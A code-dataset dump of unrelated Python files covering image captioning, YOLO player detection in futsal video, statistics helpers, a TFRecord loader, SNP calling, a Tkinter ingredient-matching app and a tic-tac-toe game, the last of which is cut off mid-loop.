points)","sub_path":"leetcode/bag-of-tokens/403438317.py","file_name":"403438317.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"11678362","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Nov 1\r\n\r\n@author: arnab\r\n\"\"\"\r\n\r\nfrom pickle import load\r\nfrom numpy import argmax\r\nfrom keras.preprocessing.sequence import pad_sequences\r\nfrom keras.applications.vgg16 import VGG16 \r\nfrom keras.preprocessing.image import load_img\r\nfrom keras.preprocessing.image import img_to_array\r\nfrom keras.applications.vgg16 import preprocess_input\r\nfrom keras.models import Model\r\nfrom keras.models import load_model\r\nfrom matplotlib import pyplot as plt\r\nimport matplotlib.image as mpimg\r\n \r\n# extract features from each photo in the directory\r\ndef extract_features(filename):\r\n\tmodel = VGG16()\r\n\tmodel.layers.pop()\r\n\tmodel = Model(inputs=model.inputs, outputs=model.layers[-1].output)\r\n\timage = load_img(filename, target_size=(224, 224))\r\n\timage = img_to_array(image)\r\n\timage = image.reshape((1, image.shape[0], image.shape[1], image.shape[2]))\r\n\timage = preprocess_input(image)\r\n\tfeature = model.predict(image, verbose=0)\r\n\treturn feature\r\n \r\n# map an integer to a word\r\ndef word_for_id(integer, tokenizer):\r\n\tfor word, index in tokenizer.word_index.items():\r\n\t\tif index == integer:\r\n\t\t\treturn word\r\n\treturn None\r\n \r\n# generate a description for an image\r\ndef generate_desc(model, tokenizer, photo, max_length):\r\n\tin_text = 'startseq'\r\n\tfor i in range(max_length):\r\n\t\tsequence = tokenizer.texts_to_sequences([in_text])[0]\r\n\t\tsequence = pad_sequences([sequence], maxlen=max_length)\r\n\t\tyhat = model.predict([photo,sequence], verbose=0)\r\n\t\tyhat = argmax(yhat)\r\n\t\tword = word_for_id(yhat, tokenizer)\r\n\t\tif word is None:\r\n\t\t\tbreak\r\n\t\tin_text += ' ' + word\r\n\t\tif word == 'endseq':\r\n\t\t\tbreak\r\n\treturn in_text\r\n \r\ntokenizer = load(open('tokenizer.pkl', 'rb'))\r\nmax_length = 34\r\nmodel = load_model('best_models/VGG16_MODEL-ep001-loss3.893-val_loss3.933.h5')\r\nimg = mpimg.imread('img_2.jpg')\r\nplt.imshow(img)\r\nphoto = extract_features('img_2.jpg')\r\ndescription = generate_desc(model, tokenizer, photo, max_length)\r\nprint('caption : ' + description[9:-6])","sub_path":"test_example.py","file_name":"test_example.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"303454827","text":"import datetime\nimport os\nimport random\nimport sys\nimport time\nfrom typing import NewType, Tuple\n\nimport click\nimport cv2\nfrom IPython.display import clear_output\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nimport numpy as np\nfrom PIL import Image\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\n\nfrom modules.yolo import Darknet\nfrom modules.yolo import utils\n# from modules.sort import Sort\nfrom modules.color_classification import team_classifier\nfrom modules.plane_field_conversion import vid2plane, draw_player_positions\nfrom utils.detect import detect_image\nfrom utils.change_coord import change_coord\nfrom utils.visualization import visualization\nfrom utils.filter_court import PointList, onMouse, filter_court\nfrom utils.paint_black import paint_black\n\n\nVideoRead = NewType('VideoRead', cv2.VideoCapture)\nVideoWrite = NewType('VideoWrite', cv2.VideoWriter)\n\n\n@click.command()\n@click.option('--config_path', default='config/yolov3.cfg')\n@click.option('--weights_path', default='weights/yolov3.weights')\n@click.option('--class_path', default='data/coco.names')\n@click.option('--img_size', default=416)\n@click.option('--conf_thres', default=0.8)\n@click.option('--nms_thres', default=0.4)\n@click.option('--input', default='data/seiucchanvideo.mp4')\n@click.option('--output', default='data/out.avi')\n@click.option('--npoints', default=5)\n@click.option('--wname', default='MouseEvent')\n@click.option('--gpu_id', default=1)\n@click.option('--is_show', default=True)\n@click.option('--write_video', default=False)\ndef main(config_path,\n weights_path,\n class_path,\n img_size,\n conf_thres,\n nms_thres,\n input,\n output,\n npoints,\n wname,\n gpu_id, \n is_show,\n write_video):\n\n # device\n device = torch.device(f\"cuda:{gpu_id}\" if torch.cuda.is_available() else \"cpu\")\n\n # Load model and weights\n model = Darknet(config_path, img_size).to(\"cpu\")\n if weights_path.endswith(\".weights\"):\n model.load_darknet_weights(weights_path)\n else:\n model.load_state_dict(torch.load(weights_path, map_location=\"cpu\"))\n model.to(device)\n model.eval()\n\n classes = utils.load_classes(class_path)\n\n # tracker = Sort()\n\n # input video\n cap, origin_fps, num_frames, width, height = load_video(input)\n # output video\n if write_video:\n writer = video_writer(output, origin_fps, width, height)\n\n # user input\n ret, frame = cap.read()\n if not ret:\n raise RuntimeError()\n cv2.namedWindow(wname)\n ptlist = PointList(npoints)\n cv2.setMouseCallback(wname, onMouse, [wname, frame, ptlist])\n cv2.waitKey()\n cv2.destroyAllWindows()\n\n cnt = 1\n while(cap.isOpened()):\n print('')\n ret, frame = cap.read()\n if not ret:\n break\n\n print('-----------------------------------------------------')\n print('[INFO] Count: {}/{}'.format(cnt, num_frames))\n\n pilimg = Image.fromarray(frame)\n bboxes = detect_image(pilimg, img_size, model, device, conf_thres, nms_thres)\n print(f\"[INFO] {len(bboxes)} persons are detected.\")\n\n out = frame\n if bboxes is not None:\n bboxes = filter_court(bboxes, pilimg, img_size, ptlist)\n # tracked_objects = tracker.update(bboxes.cpu())\n out = visualization(bboxes, pilimg, img_size, frame, classes, frame, is_show)\n planefield_input = paint_black(frame, ptlist.ptlist)\n cv2.imshow(\"test\",planefield_input)\n \n # team classification\n # teams: len = len(bboxes), team_idが要素, team_idはユーザの入力を元にする\n # teams :list = team_classifier(bboxes, pilimg)\n\n # map to 2d field\n # plane_positions: len = len(bboxes), (x, y)が要素\n # plane_positions :list = vid2plane(team_bboxes, ptlist.ptlist, pilimg.size)\n\n # visualize player position in 2d coart\n # coart: shape = frame.shape, フットサルコート (ウイイレの小さいコートの図)\n # coart :np.ndarray = draw_player_positions(pilimg, plane_positions, teams)\n\n if write_video:\n writer.write(out)\n # 最終的には,動画のしたにコートの映像をくっつけるので,下にようにする.\n # 加えて,video_writerの中のheight * 2のコメントアウトを外す\n # writer.write(np.concatenate([out, coart], axis=1))\n cnt += 1\n\n # if cnt > 100:\n # break\n\n print(\"[INFO] End processing.\")\n cap.release()\n writer.release()\n\n\ndef load_video(path: str) -> Tuple[VideoRead, int, int, int, int]:\n print('[INFO] Loading \"{}\" ...'.format(path))\n cap = cv2.VideoCapture(path)\n W = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n H = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))\n fps = int(cap.get(cv2.CAP_PROP_FPS))\n print('[INFO] total frame: {}, fps: {}, width: {}, height: {}'.format(frames, fps, W, H))\n return cap, fps, frames, W, H\n\n\ndef video_writer(path: str, fps: int, width: int, height: int,\n resize_factor: float =None) -> VideoWrite:\n print(\"[INFO] Save output video in\", path)\n if resize_factor is not None:\n width = int(width * resize_factor)\n height = int(height * resize_factor)\n width -= width % 4\n height -= height % 4\n # height *= 2\n fourcc = cv2.VideoWriter_fourcc(*'MPEG')\n writer = cv2.VideoWriter(path, fourcc, fourcc, (width, height))\n return writer\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/analyzer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"278789068","text":"#!/usr/bin/env python\n# encoding: utf-8\nfrom math import log as _log\nlog =lambda x: _log(x,10)\nfactorialLogs=[0.]\nfor i in xrange(1,40001):\n\tme=log(i)+factorialLogs[i-1]\n\tfactorialLogs.append(me)\ndef binomial(a,b): #returns as log10\n\tassert a>=b, \"Can't take binomial of a<=b. Got \"+repr((a,b))\n\treturn factorialLogs[a]-factorialLogs[b]-factorialLogs[a-b]\n\ndef hyperGeometricTest(B,A,Q,X):\n\tassert B>A>=X, 'Parameters: '+repr((B,A,Q,X))\n\tassert Q>=X,'Parameters: '+repr((B,A,Q,X))\n\tsum=0.0\n\tBmAmQ=B-A-Q\n\textracted=factorialLogs[A]+factorialLogs[B-A]-factorialLogs[B]+factorialLogs[Q]+factorialLogs[B-Q]\n\tfor J in xrange(X,min(Q+1,A+1)):\n\t\tsum+=10.**(extracted-factorialLogs[J]-factorialLogs[A-J]-factorialLogs[Q-J]-factorialLogs[BmAmQ+J])\n\treturn sum\n\n\ndef calc_benjamini_hochberg_corrections(p_values, num_total_tests):\n\tprev_bh_value = 0\n\tr=[]\n\tfor i, p_value in enumerate(p_values):\n\t\tbh_value = p_value * num_total_tests / (i + 1)\n\t\tbh_value = min(bh_value, 1)\n\t\tbh_value = max(bh_value, prev_bh_value)\n\t\tprev_bh_value = bh_value\n\t\tr.append(bh_value)\n\treturn iter(r)\n\nclass Counter:\n\tdef __init__(self):\n\t\tself.d={}\n\tdef add(self,object):\n\t\ttry:\n\t\t\tself.d[object]+=1\n\t\texcept KeyError:\n\t\t\tself.d[object]=1\n\t\n\tdef get(self,object):\n\t\ttry:\n\t\t\treturn self.d[object]\n\t\texcept KeyError:\n\t\t\treturn 0","sub_path":"modules/functions2.py","file_name":"functions2.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"273157633","text":"import csv\ndef main():\n inputfile=open('network_MOs Gene symbol.txt').read().split('\\n')\n outputfile=open('IDs.csv','w+')\n writer=csv.writer(outputfile, delimiter=',')\n for line in inputfile:\n text=line.split('\\t')\n symbol=text[0]\n print(text)\n if ',' in str(text[1]):\n IDs=str(text[1]).split(',')\n #TPsym=str(text[2]).split(',')\n i=0\n for i in range(len(IDs)):\n lines=[text[0],IDs[i]]\n print(lines)\n writer.writerow(lines)\n i=i+1\n else:\n lines=[text[0],text[1]]\n print(lines)\n writer.writerow(lines)\n outputfile.close()\nmain()\n \n","sub_path":"_site/_projects/project1/processing_MRs/transpathtogenesymbol.py","file_name":"transpathtogenesymbol.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"490595167","text":"import numpy as np\nimport tensorflow as tf\nimport glob\nimport sys\nimport cv2\nimport matplotlib.image as mpimg\n\nclass loadDataset():\n def __init__(self, train_split, test_split, valid_split, dataset_loc, train_op_fn, test_op_fn, valid_op_fn, isFixedSize=False, resize_dims=(224, 224)):\n self.all_files = glob.glob(dataset_loc)\n np.random.shuffle(self.all_files) # shuffle the file names\n self.train_files = self.all_files[:int(len(self.all_files) * train_split)]\n self.test_files = self.all_files[int(len(self.all_files) * train_split) : int(len(self.all_files) * (train_split + test_split))]\n self.valid_files = self.all_files[int(len(self.all_files) * (train_split + test_split)):]\n self.isFixedSize = isFixedSize\n self.resize_size = resize_dims\n self.train_records_filename = train_op_fn\n self.test_records_filename = test_op_fn\n self.valid_records_filename = valid_op_fn\n self.no_channels = 3\n \n def _int64_feature(self, value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n \n def _bytes_feature(self, value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n \n def get_mean_rgb(self):\n r_mean = []\n g_mean = []\n b_mean = []\n for i in range(len(self.all_files)):\n img = mpimg.imread(self.all_files[i])\n r_mean.append(np.mean(img[:, :, 0]))\n g_mean.append(np.mean(img[:, :, 1]))\n b_mean.append(np.mean(img[:, :, 2]))\n self.r_mean = np.mean(r_mean)\n self.g_mean = np.mean(g_mean)\n self.b_mean = np.mean(b_mean)\n \n def get_label(self, addr):\n if 'daisy' in addr:\n label = 0\n return label\n elif 'dandelion' in addr:\n label = 1\n return label\n elif 'rose' in addr:\n label = 2\n return label\n elif 'sunflower' in addr:\n label = 3\n return label\n elif 'tulip' in addr:\n label = 4\n return label\n \n def load_image(self, addr):\n img = cv2.imread(addr)\n if img is None:\n return None\n img = cv2.resize(img, (self.resize_size[1], self.resize_size[0]), interpolation=cv2.INTER_CUBIC)\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n return img, img.shape[0], img.shape[1]\n \n def createDataRecord(self, out_filename, files):\n writer = tf.python_io.TFRecordWriter(out_filename)\n\n for i in range(len(files)):\n if not i % 1000:\n print('Processing completed : {} / {}'.format(i, len(files)))\n sys.stdout.flush()\n\n img, h, w = self.load_image(files[i])\n label = self.get_label(files[i])\n\n if self.isFixedSize:\n with tf.gfile.FastGFile(files[i], 'rb') as fid:\n image_data = fid.read()\n feature = {'image' : self._bytes_feature(image_data),\n 'filename' : self._bytes_feature(files[i].encode('utf-8')),\n 'label' : self._int64_feature(label), \n 'height' : self._int64_feature(h),\n 'width' : self._int64_feature(w)}\n else:\n feature = {'image' : self._bytes_feature(img.tostring()),\n 'filename' : self._bytes_feature(files[i].encode('utf-8')),\n 'label' : self._int64_feature(label), \n 'height' : self._int64_feature(h),\n 'width' : self._int64_feature(w)}\n\n example = tf.train.Example(features = tf.train.Features(feature=feature))\n writer.write(example.SerializeToString())\n \n writer.close()\n sys.stdout.flush()\n \n def createDataRecordAll(self):\n self.createDataRecord(self.train_records_filename, self.train_files)\n self.createDataRecord(self.test_records_filename, self.test_files)\n self.createDataRecord(self.valid_records_filename, self.valid_files)\n \n def _extractFxn(self, tfrecord_file):\n features = {'image' : tf.FixedLenFeature([], tf.string),\n 'filename' : tf.FixedLenFeature([], tf.string),\n 'label' : tf.FixedLenFeature([], tf.int64),\n 'height' : tf.FixedLenFeature([], tf.int64),\n 'width' : tf.FixedLenFeature([], tf.int64)}\n sample = tf.parse_single_example(tfrecord_file, features)\n if self.isFixedSize:\n image = tf.image.decode_image(sample['image'], dtype=tf.float32) / 255\n else:\n image = tf.decode_raw(sample['image'], tf.uint8)\n image = tf.cast(image, tf.float32)\n image = tf.reshape(image, shape=[self.resize_size[0], self.resize_size[1], self.no_channels])\n img_r, img_g, img_b = tf.split(axis=2, num_or_size_splits=3, value=image)\n image_rgb = tf.concat(axis=2, values=[\n img_r - self.r_mean,\n img_g - self.g_mean,\n img_b - self.b_mean])\n image_rgb = image_rgb / 255\n label = sample['label']\n one_hot_label = tf.one_hot(label, 5) \n fn = sample['filename']\n return image, one_hot_label, fn\n \n def getTrainBatches(self, tfrecord_file, batch_size, isTrain=True):\n self.get_mean_rgb()\n dataset = tf.data.TFRecordDataset([tfrecord_file])\n dataset = dataset.map(self._extractFxn)\n \n if isTrain:\n dataset = dataset.shuffle(buffer_size=2048)\n num_repeat = None\n else:\n num_repeat = 1\n \n dataset = dataset.repeat(num_repeat)\n dataset = dataset.batch(batch_size)\n iterator = dataset.make_one_shot_iterator()\n next_image_batch, next_label_batch, next_filenames_batch = iterator.get_next()\n \n return next_image_batch, next_label_batch, next_filenames_batch","sub_path":"load_dataset.py","file_name":"load_dataset.py","file_ext":"py","file_size_in_byte":6104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"82319573","text":"# PROJECT EULER PROBLEM 15 - Lattice Paths\n\nfrom memoise import Memoise\n\nGRID_N = 20\nGRID_DX = GRID_N\nGRID_DY = GRID_N\nTOTAL_STEPS = GRID_DX + GRID_DY\n\n@Memoise\ndef steps(x,y,remaining_steps):\n print(x,y)\n count = 0\n if remaining_steps == 0:\n return(0)\n # At a wall, there is only one path left to the bottom right corner\n if x == 0 or y == 0:\n return(1)\n \n # True = step right, False = step down\n for s in [True,False]:\n count += steps(x-s,y-(not s),remaining_steps-1)\n return(count)\n\n\nprint(steps(GRID_DX,GRID_DY,TOTAL_STEPS))\n\n","sub_path":"PE15/PE15-LatticePaths.py","file_name":"PE15-LatticePaths.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"396169401","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.5 (62131)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-x86_64/egg/syzygy/CleanUpSNPCalls.py\n# Compiled at: 2010-10-20 05:50:56\n\"\"\"\nThis script generates the output files for snplist (high quality) and snplist (poor quality)\nPoor Quality : Median Fisher < .1 for SNP\n\"\"\"\nfrom __future__ import division\nfrom optparse import OptionParser\nimport sys, re, numpy\nfrom string import *\nfrom SAMpileuphelper import *\nimport os\n\ndef main(argv=None):\n if not argv:\n argv = sys.argv\n usage = 'usage: %prog [options] '\n parser = OptionParser(usage)\n parser.add_option('-f', '--force', action='store_true', dest='force', default=False, help='proceed even with bad extensions')\n parser.add_option('--dbsnp', default='/seq/dirseq/rivas/Rivasglioma/dbsnp/basepos.snpshg18.dbsnp')\n parser.add_option('--hg', default=18)\n parser.add_option('--outputdir')\n parser.add_option('--pif')\n parser.add_option('--tgf')\n parser.add_option('--module')\n parser.add_option('--samtoolspath')\n parser.add_option('--ref')\n parser.add_option('--ncpu')\n parser.add_option('--bqthr')\n parser.add_option('--chr')\n parser.add_option('--sndb')\n parser.add_option('--skipannot')\n parser.add_option('--out', default='snplist.alleles')\n (options, args) = parser.parse_args()\n if not options.force:\n dbsnp = {}\n exptchroffsets = {}\n accumcoveragefwd = {}\n accumcoveragerev = {}\n mcratefwd = {}\n mcraterev = {}\n refalleles = {}\n pools = 0\n pathnamehigh = os.path.join(options.outputdir, str(options.out) + '.high')\n pathnamepoor = os.path.join(options.outputdir, str(options.out) + '.poor')\n pathnameannot = os.path.join(options.outputdir, str(options.out) + '.readyannot')\n goodsnplist = open(pathnamehigh, 'w')\n poorsnplist = open(pathnamepoor, 'w')\n annotationfile = open(pathnameannot, 'w')\n dbsnpfile = options.dbsnp\n dbsnp = populate_dbsnp_dictionary(dbsnp, dbsnpfile)\n hgbuild = int(options.hg)\n annot = {}\n snps = {}\n annotationfile.write('id\\tchromosome\\tposition\\tgenome\\torientation\\talleles\\n')\n id = 0\n candidatesites = {}\n exonf = open(options.tgf, 'r')\n exonf = exonf.readlines()\n for exonline in exonf[1:]:\n exonline = exonline.split()\n target = exonline[0]\n chr = exonline[1]\n start = int(exonline[2])\n stop = int(exonline[3])\n if start < stop:\n beg = start - 5\n end = stop + 5\n elif stop < start:\n beg = stop - 5\n end = start + 5\n rangelist = r.seq(beg, end, 1)\n for pos in rangelist:\n if 'chr' in chr:\n chroffset = str(chr) + ':' + str(pos)\n else:\n chroffset = 'chr' + str(chr) + ':' + str(pos)\n candidatesites[chroffset] = chroffset\n\n poolfile = open(options.pif, 'r')\n poolfile = poolfile.readlines()\n for linef in poolfile[1:]:\n linef = linef.rstrip()\n linef = linef.split()\n fname = str(linef[0]) + '.combined.error.coverage.calls'\n filenamer = open(fname, 'r')\n filenameread = filenamer.readlines()\n for line in filenameread[1:]:\n line = line.rstrip()\n line = line.split()\n if 'chr' in line[0]:\n chroffset = line[0]\n else:\n chroffset = 'chr' + str(line[0])\n ref_base = line[1]\n ref_allele = str(line[16])\n alt_allele = str(line[17])\n allelespos = str(ref_allele) + str(alt_allele)\n coverage = int(line[18])\n lodfwd = float(line[19])\n lodrev = float(line[20])\n lod = float(line[21])\n if len(line) > 22:\n fisherflag = line[22]\n else:\n fisherflag = 'NA'\n if fisherflag == 'NA':\n pass\n elif fisherflag == '***':\n fisherpval = float(line[23])\n if lod >= 3 and coverage >= 100:\n if fisherflag == 'NA':\n fisherpval = 1\n if chroffset in annot:\n annot[chroffset].append(allelespos)\n else:\n annot[chroffset] = []\n annot[chroffset].append(allelespos)\n if chroffset in snps:\n snps[chroffset].append(fisherpval)\n else:\n snps[chroffset] = []\n snps[chroffset].append(fisherpval)\n elif lod >= 3 and chroffset in snps:\n snps[chroffset].append(fisherpval)\n\n for key in snps.keys():\n medpval = float(numpy.median(snps[key]))\n if medpval > 0.1 and key in candidatesites:\n id += 1\n goodsnplist.write(str(key) + ' ' + str(medpval) + ' ')\n for i in snps[key]:\n goodsnplist.write(str(i) + ' ')\n\n goodsnplist.write('\\n')\n alleles = [ j for j in set(annot[key]) ]\n (chr, position) = key.split(':')\n for allele in alleles:\n if 'chr' in chr:\n pass\n else:\n chr = str('chr') + str(chr)\n annotationfile.write(str(id) + '\\t' + str(chr) + '\\t' + str(position) + '\\t' + 'HG' + str(options.hg) + '\\t' + 'F' + '\\t' + str(allele) + '\\n')\n\n elif medpval <= 0.1 and key in candidatesites:\n id += 1\n poorsnplist.write(str(key) + ' ' + str(medpval) + ' ')\n for i in snps[key]:\n poorsnplist.write(str(i) + ' ')\n\n poorsnplist.write('\\n')\n alleles = [ j for j in set(annot[key]) ]\n (chr, position) = key.split(':')\n for allele in alleles:\n if 'chr' in chr:\n pass\n else:\n chr = str('chr') + str(chr)\n annotationfile.write(str(id) + '\\t' + str(chr) + '\\t' + str(position) + '\\t' + 'HG' + str(options.hg) + '\\t' + 'F' + '\\t' + str(allele) + '\\n')\n\n\nif __name__ == '__main__':\n main()","sub_path":"pycfiles/syzygy-0.9.5.56-py2.5/CleanUpSNPCalls.py","file_name":"CleanUpSNPCalls.py","file_ext":"py","file_size_in_byte":6665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"29208091","text":"__author__ = \"Daniele Affinita\"\nfrom function import *\n\ntry:\n import Tkinter as tk\nexcept ImportError:\n import tkinter as tk\n\nfrom PIL import Image, ImageTk\n\n\nclass App(tk.Tk):\n\n def __init__(self):\n global color, title, w, h\n tk.Tk.__init__(self)\n container = tk.Frame(self)\n container.pack(side=\"top\", fill=\"both\", expand=True)\n container.grid_rowconfigure(0, weight=1)\n container.grid_columnconfigure(0, weight=1)\n color = {\"giallo_bg\": \"#F7E89F\", \"rosso_exit\": \"#CD5C5C\", \"pink_button\": \"#FF9EFA\"}\n title = \"The perfect match\"\n global w\n w = self.winfo_screenwidth()\n global h\n h = self.winfo_screenheight()\n self.title(title)\n self.geometry(\"%dx%d+0+0\" % (w, h))\n self.resizable(False, False)\n self.overrideredirect(False)\n self.frames = {}\n photo = tk.PhotoImage(file=\"icon.png\")\n self.tk.call('wm', 'iconphoto', self._w, photo)\n for f in (Main, Add):\n page_name = f.__name__\n frame = f(parent=container, controller=self)\n self.frames[page_name] = frame\n frame.grid(row=0, column=0, sticky=\"nsew\")\n self.show_frame(\"Main\")\n\n def show_frame(self, page_name):\n frame = self.frames[page_name]\n frame.tkraise()\n\n\nclass Main(tk.Frame):\n out = list()\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg=color[\"giallo_bg\"])\n l1 = tk.Label(self, text=title, font=('Times New Roman', 60), bg=color[\"giallo_bg\"])\n global var1\n var1 = tk.StringVar(value='')\n global e_s\n e_s = tk.Entry(self, textvariable=var1, width=60)\n bt_send = tk.Button(self, text='Invio', font=('Helvetica', 15), command=self.get,\n activebackground=color[\"pink_button\"])\n bt_exit = tk.Button(self, text='Esci', font=('Helvetica', 15), command=exit,\n activebackground=color[\"rosso_exit\"])\n bt_change = tk.Button(self, text='Aggiungi match', font=('Helvetica', 15),\n command=lambda: controller.show_frame(\"Add\"), activebackground=color[\"pink_button\"])\n load1 = Image.open(\"img1.jpg\")\n width, height = (round(float(w)/4), round(float(h)/1.5))\n load1 = load1.resize((width, height), Image.ANTIALIAS)\n render1 = ImageTk.PhotoImage(load1)\n img1 = tk.Label(self, image=render1)\n img2 = tk.Label(self, image=render1)\n img1.image = render1\n img2.image = render1\n bt_change.pack()\n l1.pack()\n img1.place(relx=0.045, rely=0.15)\n img2.place(relx=0.70, rely=0.15)\n e_s.place(relx=0.37, rely=0.15)\n bt_send.place(relx=0.63, rely=0.14)\n bt_change.place(relx=0.475, rely=0.82)\n bt_exit.place(relx=0.50, rely=0.90)\n\n def get(self):\n search = var1.get()\n enter_y = 0.2\n for count in range(59):\n l_ser = tk.Label(self, text=\" \"\n \" \",\n font=('Helvetica', 20), bg=color[\"giallo_bg\"])\n l_ser.place(relx=0.3, rely=enter_y)\n enter_y += 0.01\n e_s.delete(0, tk.END)\n if not database.readsec(search):\n l_ser = tk.Label(self, text=\"Match non trovato, aggiungilo!\", font=('Comic Sans MS', 20),\n bg=color[\"giallo_bg\"])\n l_ser.place(relx=0.3, rely=0.2)\n else:\n l_ser = tk.Label(self, text=\"I match per \" + search + \" sono:\", font=('Comic Sans MS', 20),\n bg=color[\"giallo_bg\"])\n l_ser.place(relx=0.3, rely=0.2)\n for obj in self.out:\n obj.destroy()\n self.out = list()\n posy2 = 0.2\n for obj in database.readsec(search):\n self.out.append(tk.Label(self, text=obj.lower(), font=('Comic Sans MS', 20), bg=color[\"giallo_bg\"]))\n for count in range(len(self.out)):\n self.out[count].place(relx=0.5, rely=posy2)\n posy2 += 0.0325\n\n\nclass Add(tk.Frame):\n posy = 0.3063\n list_y = list()\n entry = list()\n var = list()\n nentry = 0\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg=color[\"giallo_bg\"])\n l1 = tk.Label(self, text=title, font=('Times New Roman', 60), bg=color[\"giallo_bg\"])\n l2 = tk.Label(self, text=\"Aggiungi match\", font=('Times New Roman', 40), bg=color[\"giallo_bg\"])\n bt_return = tk.Button(self, text='Ritorna alla home', font=('Helvetica', 15),\n command=lambda: controller.show_frame(\"Main\"), activebackground=color[\"pink_button\"])\n l3 = tk.Label(self, text=\"Inserisci l'ingrediente principale\", font=('Helvetica', 20), bg=color[\"giallo_bg\"])\n l4 = tk.Label(self, text=\"Inserisci gli ingredienti secondari\", font=('Helvetica', 20), bg=color[\"giallo_bg\"])\n global var_main\n var_main = tk.StringVar(value='')\n global e1\n e1 = tk.Entry(self, textvariable=var_main, width=30)\n bt_more = tk.Button(self, text='+ Match', font=('Helvetica', 15), command=self.more,\n activebackground=color[\"pink_button\"])\n self.var.append(tk.StringVar(value=''))\n self.entry.append(tk.Entry(self, textvariable=self.var[0], width=30))\n bt_save = tk.Button(self, text='Salva', font=('Helvetica', 15), command=self.save,\n activebackground=color[\"pink_button\"])\n bt_delete = tk.Button(self, text='Cancella tutto', font=('Helvetica', 15), command=self.delete,\n activebackground=color[\"pink_button\"])\n load = Image.open(\"img2.jpg\")\n render = ImageTk.PhotoImage(load)\n img = tk.Label(self, image=render)\n img.image = render\n l1.pack()\n l2.pack()\n l3.place(relx=0, rely=0.2)\n l4.place(relx=0, rely=0.3)\n self.entry[0].place(relx=0.21, rely=self.posy)\n img.place(relx=0.5, rely=0.3)\n e1.place(relx=0.2, rely=0.2063)\n bt_more.place(relx=0.35, rely=0.3)\n bt_save.place(relx=0.35, rely=0.35)\n bt_return.place(relx=0.465, rely=0.9)\n bt_delete.place(relx=0.35, rely=0.4)\n self.create_entry()\n\n def create_entry(self):\n for count in range(1, 20):\n self.list_y.append(self.posy)\n self.var.append(tk.StringVar(value=''))\n self.entry.append(tk.Entry(self, textvariable=self.var[len(self.entry)], width=30))\n self.entry[count].place(relx=0.21, rely=self.posy)\n self.entry[count].place_forget()\n self.posy += 0.03\n\n def delete(self):\n for obj in self.entry:\n obj.delete(0, tk.END)\n e1.delete(0, tk.END)\n for count in range(1, self.nentry + 1):\n self.entry[count].place_forget()\n self.nentry = 0\n\n def save(self):\n content = list()\n for count in range(len(self.entry)):\n content.append(self.var[count].get())\n main = var_main.get()\n database.save(main, content)\n self.delete()\n\n def more(self):\n self.nentry += 1\n self.entry[self.nentry].place(relx=0.21, rely=self.list_y[self.nentry])\n\n\ndef process():\n if __name__ == '__main__':\n database.start()\n app = App()\n app.mainloop()\n database.stop()\n\n\nprocess()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"227209126","text":"import random\ndef display_board(boards):\n print(' | |')\n print('' + boards[7] + ' | ' + '' + boards[8] + ' | ' + '' + boards[9])\n print(' | |')\n print('---------')\n print(' | |')\n print('' + boards[4] + ' | ' + '' + boards[5] + ' | ' + '' + boards[6])\n print(' | |')\n print('---------')\n print(' | |')\n print('' + boards[1] + ' | ' + '' + boards[2] + ' | ' + '' + boards[3])\n print(' | |')\n\ndef user_inpurt():\n marker = ''\n while not (marker == 'X' or marker == 'O'):\n marker = input(\"Player1: Do you want X or O> \").upper()\n\n if marker == 'x':\n return ('X', 'O')\n else:\n return ('O', 'X')\n\ndef place_marker(board, marker, position):\n board[position] = marker\n\ndef win_check(board,mark):\n return ((board[7] == mark and board[8] == mark and board[9] == mark) or\n (board[4] == mark and board[5] == mark and board[6] == mark) or\n (board[1] == mark and board[2] == mark and board[3] == mark) or\n (board[7] == mark and board[4] == mark and board[1] == mark) or\n (board[8] == mark and board[5] == mark and board[2] == mark) or\n (board[9] == mark and board[6] == mark and board[3] == mark) or\n (board[7] == mark and board[5] == mark and board[3] == mark) or\n (board[9] == mark and board[5] == mark and board[1] == mark))\n\ndef choose_first():\n if random.randint(0,1) == 0:\n return 'Player 2'\n else:\n return 'Player 1'\n\ndef space_check(board, position):\n return board[position] == ' '\n\ndef full_board_check(board):\n for i in range(1,10):\n if space_check(board, i):\n return False\n return True\n\ndef player_choice(board):\n position = 0\n while position not in (1,2,3,4,5,6,7,8,9) or not space_check(board, position):\n position = int(input(\"Choose your postion (1-9)> \"))\n\n return position\n\ndef replay():\n return input(\"Do you want to play again Yes or No> \").lower().startswith('y')\n\nprint(\"Welcome to the Tic-Tac-Toe!\".center(100))\nwhile True:\n theboard = [' '] * 10\n 